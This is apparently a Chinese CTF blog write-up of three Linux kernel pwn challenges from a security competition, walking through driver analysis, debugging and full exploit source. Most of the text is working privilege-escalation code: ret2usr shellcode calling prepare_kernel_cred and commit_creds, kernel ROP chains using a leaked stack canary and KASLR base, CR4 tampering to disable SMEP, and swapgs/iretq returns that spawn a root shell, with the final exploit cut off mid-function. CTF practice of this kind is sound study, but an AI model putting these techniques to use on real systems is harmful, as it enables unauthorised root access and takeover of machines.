文章

Kernel Pwn 刷题记录

添加到启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if [ ! -d "./rootfs/" ];then
    mkdir ./rootfs/
    pushd rootfs
    cpio -idmv < ../rootfs.cpio
    popd
fi
if [ ! -d "./exp/" ];then
    mkdir ./exp/
    pushd exp
    cp /opt/kernel_exp/* .
    popd
fi

pushd exp
make
cp exploit ../rootfs/
popd

pushd rootfs
find ./* | cpio -H newc -o > ../rootfs.cpio
popd

attach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
python
import os
end

file ./vmlinux
target remote :1234


python
import gdb
#inferior = gdb.inferiors()[0]
## (<gdb.Inferior num=1, pid=1>,)
#field = gdb.parse_and_eval('*(struct module)0').tyep.fields()
#print('--',field,'---')
breakpoint = '''
#b *__x64_sys_flitbip
co
'''
gdb.execute(breakpoint)
end

NFS_KUAF

  • 第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(决赛)

附件

image

保护及init分析

  • 启动保护
1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 loglevel=8 earlyprintk=serial,ttyS0,115200 nokaslr pti=off" \
    -cpu kvm64,-smep,-smap \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -s \
    -no-reboot
  • nokaslr 关闭了kernel地址随机化,在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000​ ,direct mapping area 的基址为 0xffff888000000000

  • smep 和 smap 通常是一起出现的,这里是个减号,所以 保护是关闭的,也就意味着 内核态可以直接跳到用户空间代码段执行

  • init 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mkdir /tmp
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /lib/modules/5.4.0-100-generic/kernel/test.ko # 应该就是存在漏洞的驱动了
chmod 666 /dev/uaf_device # 漏洞驱动

setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -d 0  -f

提取 vmlinux

  • 用于调试 kernel

image

分析.ko 文件

.ko 文件被去符号表了,可以通过 fops 结构体去恢复

  • ida 恢复 fops 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct_name ='''owner llseek read write read_iter write_iter iopoll iterate
iterate_shared poll unlocked_ioctl compat_ioctl mmap mmap_supported_flags
open flush release fsync fasync lock sendpage get_unmapped_area check_flags
flock splice_write splice_read setlease fallocate show_fdinfo copy_file_range
remap_file_range fadvise'''.split(' ')

fops_address = 0x560
ida_name.set_name(fops_address, 'fops')
for offset in range(0, len(struct_name)):
    next_ptr = ida_bytes.get_qword(fops_address + offset * 8)
    if(next_ptr):
        sname = 'device_' + struct_name[offset]
        ida_name.set_name(next_ptr, sname)
        print(hex(next_ptr),' --> ',sname)

  • 恢复前

image

  • 恢复后

image

  • 操作分析

image

image

整体思路

传入一个地址,然后执行,也是比较简单

保护比较低,直接跳到用户态的执行shellcode

exploit

  • exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"

char flag[0x50] = {0};

size_t kernel_base          = 0xffffffff81000000;
size_t commit_creds         = 0xffffffff810c5010;
size_t prepare_kernel_cred  = 0xffffffff810c5270;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
    execve("/bin/sh", argv, 0);
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell + 4;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;

void doMain(){

    save_status();
    //bind_core(0);
  
    char procn[0x30] = "/dev/uaf_device";
    int fd1 = open(procn,2);
    char buf[0x10];

    write(fd1, &sc_addr,8);
    read(fd1, &buf, 8);
}

extern void _start(){
    doMain();
    syscall64(60,0);
}

  • Makefile

1
2
3
4
5
6
CC = gcc
CFLAGS = -nostdlib -fpie -static -ffreestanding -std=c++2a -mno-sse -mno-mmx -mno-avx -masm=intel

exploit: exp.c
	$(CC) $(CFLAGS) $< -o $@

  • minilib.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

#define O_RDONLY    0   /* Open read-only.  */
#define O_WRONLY    1   /* Open write-only.  */
#define O_RDWR      2   /* Open read/write.  */
#define O_CREAT     0x40/* New File. */


// bind_core
#define MAX_CPUS 1024
typedef struct { unsigned long bits[MAX_CPUS / (8 * sizeof(unsigned long))]; } cpu_set_t;
static void CPU_ZERO(cpu_set_t *set) { for (int i = 0; i < MAX_CPUS / (8 * sizeof(unsigned long)); i++) { set->bits[i] = 0; } }
static void CPU_SET(int core, cpu_set_t *set) {
    int idx = core / (8 * sizeof(unsigned long));
    int offset = core % (8 * sizeof(unsigned long));
    set->bits[idx] |= (1UL << offset);
}

int syscall64(){
    asm volatile (
        "mov rax, rdi;"
        "mov rdi, rsi;"
        "mov rsi, rdx;"
        "mov rdx, rcx;"
        "mov r10, r8 ;"
        "mov r8 , r9 ;"
        "mov r9 , [rsp + 8];"
        "syscall;"
    );
}


int open(char *file,int prot){
    return syscall64(2, file, prot);
}
int read(int fd, char *buf, int length){
    return syscall64(0, fd, buf, length);
}
int write(int fd, char *buf, int length){
    return syscall64(1, fd, buf, length);
}
int ioctl(int fd, size_t cmd, char *buf){
    return syscall64(0x10, fd, cmd, buf);
}
void execve(char *cmd, size_t* args, char *environ){
    syscall64(0x3b, cmd, args, environ);
}
int sendfile(size_t dst_fd, size_t src_fd, size_t offset, size_t count){
    syscall64(0x28, dst_fd, src_fd, offset, count);
}
int chmod(char *filepath,int mode){
    return syscall64(0x5a, filepath, mode, 0);
}
static size_t getuid(){return syscall64(0x66, 0, 0, 0);}
static size_t getpid(){return syscall64(0x27, 0, 0, 0);}

static int sched_setaffinity(size_t pid, size_t cpusetsize, const cpu_set_t *cupset){
    return syscall64(0xcb, pid, cpusetsize, cupset);
}
static void bind_core(int core){
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void puts(char * Str){
    int length=0;
    while(Str[length]!=0){++length;}
    write(1,Str,length);
    write(1,"\n",1);
}

void hex(size_t IntHex){
    char buf[0x20]={0};
    size_t idx = 0x18;
    while (idx > 1) {
        buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
        IntHex >>= 4;
        if(IntHex==0){
            buf[idx-2]='0';
            buf[idx-1]='x';
            break;
        }
        idx--;
    }
    puts(&buf[idx]-2);
}

void strncpy(char dst[], char src[], size_t n){
    size_t i;
    for(i = 0; i < n ; i++){
        dst[i] = src[i];
    }
    dst[i] = '\x00';
}

问题及感想

  • 返回用户态然后准备执行 execve /bin/sh, 发现 execve("/bin/sh",0,0);​ 竟然不行.
1
2
3
4
5
6
7
8
// 我不行,因为没参数?
execve("/bin/sh", 0, 0);


// 加了 argv 就正常了操
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
execve("/bin/sh", argv, 0);

image

Kylin_Overflow

附件

image

保护及init

  • kaslr​ 开启了地址随机化
  • +smep,+smap​ 隔离了 用户段和kernel 段
1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
    -cpu kvm64,+smep,+smap \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -no-reboot \
    -s
  • init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

mkdir /tmp
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

# 存在漏洞的驱动文件
insmod /lib/modules/5.10.0-9-generic/kernel/test.ko
chmod 666 /dev/test

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

poweroff -d 0  -f

分析 .ko 驱动

  • 主要 用 ioctl 交互

image

  • 栈溢出漏洞

image

  • 一个 gadget

image

整体思路

  • 不知大这里给控制cr4寄存器有什么用

先泄露 kernel 地址,然后 利用 stack 溢出

然后我注意到 gadget​ 处的 mov cr4,rdi;retn​ 后面搜了搜 cr4 寄存器的作用

  • cr4 寄存器结构

image

  • smep是由CR4寄存器来决定是否开启的, 在kernel中由CR4寄存器的第20位设置是否开启

image

1
2
3
4
5
6
7
8
9
10
11
12
>>> bin(0x3006f0)
'0b1100000000011011110000'


# 第20位也就是0x100000
>>> hex(0x3006f0-0x100000)
'0x2006f0'


# cr4 = 
# 0x3006f0 -> 0x6f0
# 即可关闭 smep 保护
  • 猜测后高位的 这俩 1 分别是 +smep​ 和 +smap​ 保护 ,直接把他们都清空应该就算关闭保护了

image

  • 然后….., 先记住吧,但是给了这个 gadget 感觉 应该可以直接改吧

image

  • 然后也是简单的试了一下改 cr4 寄存器, 然后就 crush

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"

char flag[0x50] = {0};

size_t nokaslr_kernel_base          = 0xffffffff81000000;
size_t commit_creds         = 0xffffffff810c5010;
size_t prepare_kernel_cred  = 0xffffffff810c5270;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
    execve("/bin/sh", argv, 0);
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell + 4;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;





encrypt_cu(unsigned char *ptext,size_t length){
    for (int i = 0;i<length; ++i){
        ptext[i] = ((ptext[i] >> 5) | (8 * ptext[i])) & 0xFF;
        ptext[i] = ~ptext[i];
        ptext[i] ^= 0xF8;
        ptext[i] += 5;
    }
}
decrypt_cu(unsigned char *ptext,size_t length){
    for (int i = 0;i<length; ++i){
        ptext[i] -= 5;
        ptext[i] ^= 0xF8;
        ptext[i] = ~ptext[i];
        ptext[i] = ((0x20 * ptext[i]) | (ptext[i] >> 3)) & 0xFF;
    }
}



void doMain(){
    save_status();

    char procn[0x30] = "/dev/test";
    int fd = open(procn,2);

    size_t *data = malloc(0);
    memset(data, 0, 0x1000);

    strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
    //strcat(data, "ABCD");
    encrypt_cu(data, 0x20);

    size_t edit = 0xFEEDFACE;
    size_t show = 0xDEADBEEF;
    size_t gift = 0xCAFEBABE;

    ioctl(fd, show, data);
  
    decrypt_cu(&data[4],0x100);
    hexdump(&data[0], 0x100);

    ////size_t kernel_ko_addr = byte_to_long(&data[0x20],8);
    ////size_t kernel_base = byte_to_long(&data[0x60],8) - 0x271105;

    size_t kernel_ko_addr = data[4] - 0x43;
    size_t kernel_base = data[12] - 0x271105;
    size_t canary = data[5];

    printf("kernel_ko_addr  = ");
    hex(kernel_ko_addr);

    printf("kernel_base     = ");
    hex(kernel_base);

    printf("stack_canary    = ");
    hex(canary);

    prepare_kernel_cred  = kernel_base + 0xcfbe0;
    commit_creds         = kernel_base + 0xcf720;


    memset(data, 0, 0x300);
    strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
    repeat(&data[4],'A',0x100);
    int i = 0x24;
    size_t pop_rdi = 0xffffffff81090c80 - nokaslr_kernel_base + kernel_base; // pop rdi; ret;
    size_t mov_cr4_rdi = kernel_ko_addr + 0x050;
    data[i++] = canary;
    data[i++] = 0;
    data[i++] = pop_rdi;
    data[i++] = 0x6f0;
    data[i++] = mov_cr4_rdi;
    data[i++] = sc_addr; // crush 了


    encrypt_cu(data, 0x200);

    ioctl(fd, edit, data);

    ioctl(fd, gift, data);


}

extern void _start(){
    doMain();
    syscall64(60,0);
}

  • 参考链接
1
https://www.anquanke.com/post/id/244966

  • 上面的的方法明显不行,就 正常 ROP 吧

exploit

  • 最终成功提权的exp

  • exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"

char flag[0x50] = {0};

size_t nokaslr_kernel_base          = 0xffffffff81000000;
size_t commit_creds         = 0xffffffff810c5010;
size_t prepare_kernel_cred  = 0xffffffff810c5270;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
    execve("/bin/sh", argv, 0);
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;





encrypt_cu(unsigned char *ptext,size_t length){
    for (int i = 0;i<length; ++i){
        ptext[i] = ((ptext[i] >> 5) | (8 * ptext[i])) & 0xFF;
        ptext[i] = ~ptext[i];
        ptext[i] ^= 0xF8;
        ptext[i] += 5;
    }
}
decrypt_cu(unsigned char *ptext,size_t length){
    for (int i = 0;i<length; ++i){
        ptext[i] -= 5;
        ptext[i] ^= 0xF8;
        ptext[i] = ~ptext[i];
        ptext[i] = ((0x20 * ptext[i]) | (ptext[i] >> 3)) & 0xFF;
    }
}



void doMain(){
    save_status();

    char procn[0x30] = "/dev/test";
    int fd = open(procn,2);

    size_t *data = malloc(0);
    memset(data, 0, 0x1000);

    strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
    //strcat(data, "ABCD");
    encrypt_cu(data, 0x20);

    size_t edit = 0xFEEDFACE;
    size_t show = 0xDEADBEEF;
    size_t gift = 0xCAFEBABE;

    ioctl(fd, show, data);
  
    decrypt_cu(&data[4],0x100);
    hexdump(&data[0], 0x100);

    ////size_t kernel_ko_addr = byte_to_long(&data[0x20],8);
    ////size_t kernel_base = byte_to_long(&data[0x60],8) - 0x271105;

    size_t kernel_ko_addr = data[4] - 0x43;
    size_t kernel_base = data[12] - 0x271105;
    size_t canary = data[5];

    printf("kernel_ko_addr  = ");
    hex(kernel_ko_addr);

    printf("kernel_base     = ");
    hex(kernel_base);

    printf("stack_canary    = ");
    hex(canary);

    prepare_kernel_cred  = kernel_base + 0xcfbe0;
    commit_creds         = kernel_base + 0xcf720;


    memset(data, 0, 0x300);
    strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
    repeat(&data[4],'A',0x100);
    int i = 0x24;
    size_t pop_rdi = 0xffffffff81090c80 - nokaslr_kernel_base + kernel_base; // pop rdi; ret;
    size_t mov_rdi_rax = kernel_ko_addr + 0x04C;
    size_t mov_cr4_rdi = kernel_ko_addr + 0x050;
    size_t swapgs = kernel_ko_addr + 0x54;
    size_t iretq  = kernel_ko_addr + 0x58; //iretq; ret

    size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xc00ff0 + 54;
    data[i++] = canary;
    data[i++] = 0;
    //data[i++] = pop_rdi; 
    //data[i++] = 0x6f0;
    //data[i++] = mov_cr4_rdi;
    data[i++] = pop_rdi;
    data[i++] = 0;
    data[i++] = prepare_kernel_cred;
    data[i++] = mov_rdi_rax;
    data[i++] = commit_creds;
    data[i++] = swapgs_restore_regs_and_return_to_usermode;
    //data[i++] = swapgs;
    //data[i++] = iretq;
    data[i++] = 0;
    data[i++] = 0;
    data[i++] = shell_addr;
    data[i++] = user_cs;
    data[i++] = user_rflags;
    data[i++] = user_sp;
    data[i++] = user_ss;


    encrypt_cu(data, 0x300);

    ioctl(fd, edit, data);

    ioctl(fd, gift, data);


}

extern void _start(){
    doMain();
    syscall64(60,0);
}

问题及感想1

  • vmlinux-to-elf​ 获取 kernel elf 后,用 checksec 检测保护, PIE 是关闭的

image

  • 但是呢, qemu-system-x86_64​ 启动时 时开启 地址随机化的

image

  • 然后后面调试的时候就很怪,没有符号表

image

  • 网上搜了一下,发现可以在 target​ 前使使用 add-symbol-file​ 重新定位地址

image

  • 然后符号表就有了

image

  • 但还是有点小问题比如…

直接 tel 看 地址还是 noPIE 的地址,然后就很玄学

image

image

1
2
3
4
5
6
7
8
9
#add-symbol-file ./vmlinux <新基地址>

cat /proc/kallsyms | grep startup_64


add-symbol-file ./vmlinux 

set $base=0x-0xffffffff81000000

image

问题及感想2 (调试调废了,这个问题未完成,待续)

问题出在这里, 用这种方式返回也会态后,无法执行执行代码,会直接 gg

  • rop 是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data[i++] = canary;
data[i++] = 0;
data[i++] = pop_rdi;
data[i++] = 0;
data[i++] = prepare_kernel_cred;
data[i++] = mov_rdi_rax;
data[i++] = commit_creds;
data[i++] = swapgs;	// swapgs; retn
data[i++] = iretq;	// iretq; retn
data[i++] = shell_addr;
data[i++] = user_cs;
data[i++] = user_rflags;
data[i++] = user_sp;
data[i++] = user_ss;
  • 对照一下 shellcode
1
2
3
4
5
6
7
8
9
asm volatile (
    "push user_ss;"
    "push user_sp;"
    "push user_rflags;"
    "push user_cs;"
    "push shell_addr;"
    "swapgs;"
    "iretq;"
);
  • 然后动态调试一下

image

image

image

  • 然后再单步走,就直接gg了, 段错误,

image

image

1
2
[   48.590572][  T134] exploit[134]: segfault at 401635 ip 0000000000401635 sp 00007ffd8490f528 error 15 in exploit[401000+1000]
[   48.596286][  T134] Code: 00 8c 14 25 28 40 40 00 48 89 24 25 38 40 40 00 9c 8f 04 25 30 40 40 00 48 8d 05 fe 09 00 00 48 89

  • 通过上面的段错误 我感觉可能是 +smep,+smap​ 保护的原因吧
  • 下面就调试一下正常情况下,kernel 态 到用户态的过程

1
swapgs_restore_regs_and_return_to_usermode
  • swapgs_restore_regs_and_return_to_usermode 汇编代码
pwndbg> x/54i 0xffffffffa2c00000 + 0xc00ff0
   0xffffffffa3800ff0 <swapgs_restore_regs_and_return_to_usermode>:     jmp    0xffffffffa380100b <swapgs_restore_regs_and_return_to_usermode+27>
   0xffffffffa3800ff2 <swapgs_restore_regs_and_return_to_usermode+2>:   mov    ecx,0x48
   0xffffffffa3800ff7 <swapgs_restore_regs_and_return_to_usermode+7>:   mov    rdx,QWORD PTR gs:0x17bc8
   0xffffffffa3801000 <swapgs_restore_regs_and_return_to_usermode+16>:  and    edx,0xfffffffe
   0xffffffffa3801003 <swapgs_restore_regs_and_return_to_usermode+19>:  mov    eax,edx
   0xffffffffa3801005 <swapgs_restore_regs_and_return_to_usermode+21>:  shr    rdx,0x20
   0xffffffffa3801009 <swapgs_restore_regs_and_return_to_usermode+25>:  wrmsr
   0xffffffffa380100b <swapgs_restore_regs_and_return_to_usermode+27>:  nop    DWORD PTR [rax+rax*1+0x0] 
   0xffffffffa3801010 <swapgs_restore_regs_and_return_to_usermode+32>:  pop    r15	; 恢复用户态的寄存器?
   0xffffffffa3801012 <swapgs_restore_regs_and_return_to_usermode+34>:  pop    r14
   0xffffffffa3801014 <swapgs_restore_regs_and_return_to_usermode+36>:  pop    r13
   0xffffffffa3801016 <swapgs_restore_regs_and_return_to_usermode+38>:  pop    r12
   0xffffffffa3801018 <swapgs_restore_regs_and_return_to_usermode+40>:  pop    rbp
   0xffffffffa3801019 <swapgs_restore_regs_and_return_to_usermode+41>:  pop    rbx
   0xffffffffa380101a <swapgs_restore_regs_and_return_to_usermode+42>:  pop    r11
   0xffffffffa380101c <swapgs_restore_regs_and_return_to_usermode+44>:  pop    r10
   0xffffffffa380101e <swapgs_restore_regs_and_return_to_usermode+46>:  pop    r9
   0xffffffffa3801020 <swapgs_restore_regs_and_return_to_usermode+48>:  pop    r8
   0xffffffffa3801022 <swapgs_restore_regs_and_return_to_usermode+50>:  pop    rax
   0xffffffffa3801023 <swapgs_restore_regs_and_return_to_usermode+51>:  pop    rcx
   0xffffffffa3801024 <swapgs_restore_regs_and_return_to_usermode+52>:  pop    rdx
   0xffffffffa3801025 <swapgs_restore_regs_and_return_to_usermode+53>:  pop    rsi
   0xffffffffa3801026 <swapgs_restore_regs_and_return_to_usermode+54>:  mov    rdi,rsp ; exp 是跳到这里然后执行的  ; rsp 赋值给 rdi
   0xffffffffa3801029 <swapgs_restore_regs_and_return_to_usermode+57>:  mov    rsp,QWORD PTR gs:0x6004	; 不知道
   0xffffffffa3801032 <swapgs_restore_regs_and_return_to_usermode+66>:  push   QWORD PTR [rdi+0x30]		; user status
   0xffffffffa3801035 <swapgs_restore_regs_and_return_to_usermode+69>:  push   QWORD PTR [rdi+0x28]
   0xffffffffa3801038 <swapgs_restore_regs_and_return_to_usermode+72>:  push   QWORD PTR [rdi+0x20]
   0xffffffffa380103b <swapgs_restore_regs_and_return_to_usermode+75>:  push   QWORD PTR [rdi+0x18]
   0xffffffffa380103e <swapgs_restore_regs_and_return_to_usermode+78>:  push   QWORD PTR [rdi+0x10]
   0xffffffffa3801041 <swapgs_restore_regs_and_return_to_usermode+81>:  push   QWORD PTR [rdi]
   0xffffffffa3801043 <swapgs_restore_regs_and_return_to_usermode+83>:  push   rax
   0xffffffffa3801044 <swapgs_restore_regs_and_return_to_usermode+84>:  xchg   ax,ax
   0xffffffffa3801046 <swapgs_restore_regs_and_return_to_usermode+86>:  mov    rdi,cr3	; 这里 取出 cr3
   0xffffffffa3801049 <swapgs_restore_regs_and_return_to_usermode+89>:  jmp    0xffffffffa380107f <swapgs_restore_regs_and_return_to_usermode+143>
   0xffffffffa380104b <swapgs_restore_regs_and_return_to_usermode+91>:  mov    rax,rdi
   0xffffffffa380104e <swapgs_restore_regs_and_return_to_usermode+94>:  and    rdi,0x7ff
   0xffffffffa3801055 <swapgs_restore_regs_and_return_to_usermode+101>: bt     QWORD PTR gs:0x2b756,rdi
   0xffffffffa380105f <swapgs_restore_regs_and_return_to_usermode+111>: jae    0xffffffffa3801070 <swapgs_restore_regs_and_return_to_usermode+128>
   0xffffffffa3801061 <swapgs_restore_regs_and_return_to_usermode+113>: btr    QWORD PTR gs:0x2b756,rdi
   0xffffffffa380106b <swapgs_restore_regs_and_return_to_usermode+123>: mov    rdi,rax
   0xffffffffa380106e <swapgs_restore_regs_and_return_to_usermode+126>: jmp    0xffffffffa3801078 <swapgs_restore_regs_and_return_to_usermode+136>
   0xffffffffa3801070 <swapgs_restore_regs_and_return_to_usermode+128>: mov    rdi,rax
   0xffffffffa3801073 <swapgs_restore_regs_and_return_to_usermode+131>: bts    rdi,0x3f
   0xffffffffa3801078 <swapgs_restore_regs_and_return_to_usermode+136>: or     rdi,0x800
   0xffffffffa380107f <swapgs_restore_regs_and_return_to_usermode+143>: or     rdi,0x1000	; 然后jmp 到这里了
   0xffffffffa3801086 <swapgs_restore_regs_and_return_to_usermode+150>: mov    cr3,rdi
   0xffffffffa3801089 <swapgs_restore_regs_and_return_to_usermode+153>: pop    rax
   0xffffffffa380108a <swapgs_restore_regs_and_return_to_usermode+154>: pop    rdi
   0xffffffffa380108b <swapgs_restore_regs_and_return_to_usermode+155>: swapgs
   0xffffffffa380108e <swapgs_restore_regs_and_return_to_usermode+158>: jmp    0xffffffffa38010c0 <native_iret>
   0xffffffffa3801093 <swapgs_restore_regs_and_return_to_usermode+163>: nop

image

image

  • exp

image

image

image

image

  • 大概就是 修改里一个 cr3 寄存器的值,然后返回用户态
1
2
3
4
5
0x3052000 -> 0x3053000
cr3 = cr3 | 0x1000 # = 0x3053000
然后
swapgs
iretq

  • 下面我尝试手动修改cr3 的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data[i++] = canary;
data[i++] = 0;
data[i++] = pop_rdi;
data[i++] = 0;
data[i++] = prepare_kernel_cred;
data[i++] = mov_rdi_rax;
data[i++] = commit_creds;
data[i++] = swapgs;	// swapgs; retn
data[i++] = iretq;	// iretq; retn 执行到这里时 gdb 手动修改 cr3寄存器的值为0x3053000,然后再继续返回到用户态,看看能不能正常执行
data[i++] = shell_addr;
data[i++] = user_cs;
data[i++] = user_rflags;
data[i++] = user_sp;
data[i++] = user_ss;

  • 执行到 swapgs 后,我们查看 cr3 寄存器的值,发现和上面的不一样,然后多试了几次,才知道 cr3 的值每次都是不一样的,但是 or 0x1000​ 操作应该是固定的吧,我们就手动计算修改试试看

image

1
2
>>> hex(0x307e000|0x1000)
'0x307f000'
  • 不能直接 set $cr3=0x307f000​ ,奇怪

  • 但是这样就可以了哈哈, 然后就更奇怪了,修改后强行run 就 crush 了,

image

Kylin_Driver

保护及init

  • 开启了 kaslr kerenl 地址随机化
  • 然后是 +smep + smap​,

image

  • 默认看不了地址

image

分析 .ko 驱动

  • ioctl 功能点分析

image

  • 给了几个 gadget

image

  • 漏洞点, RAX 指针内容可以被覆盖,

image

image

exploit(学了一个新方法)

image

  • 直接 rop

image

image

image

  • exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include "minilib.h"

char flag[0x50] = {0};

size_t nokaslr_kernel_base  = 0xffffffff81000000;
size_t commit_creds         = 0xffffffff810c5010;
size_t prepare_kernel_cred  = 0xffffffff810c5270;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
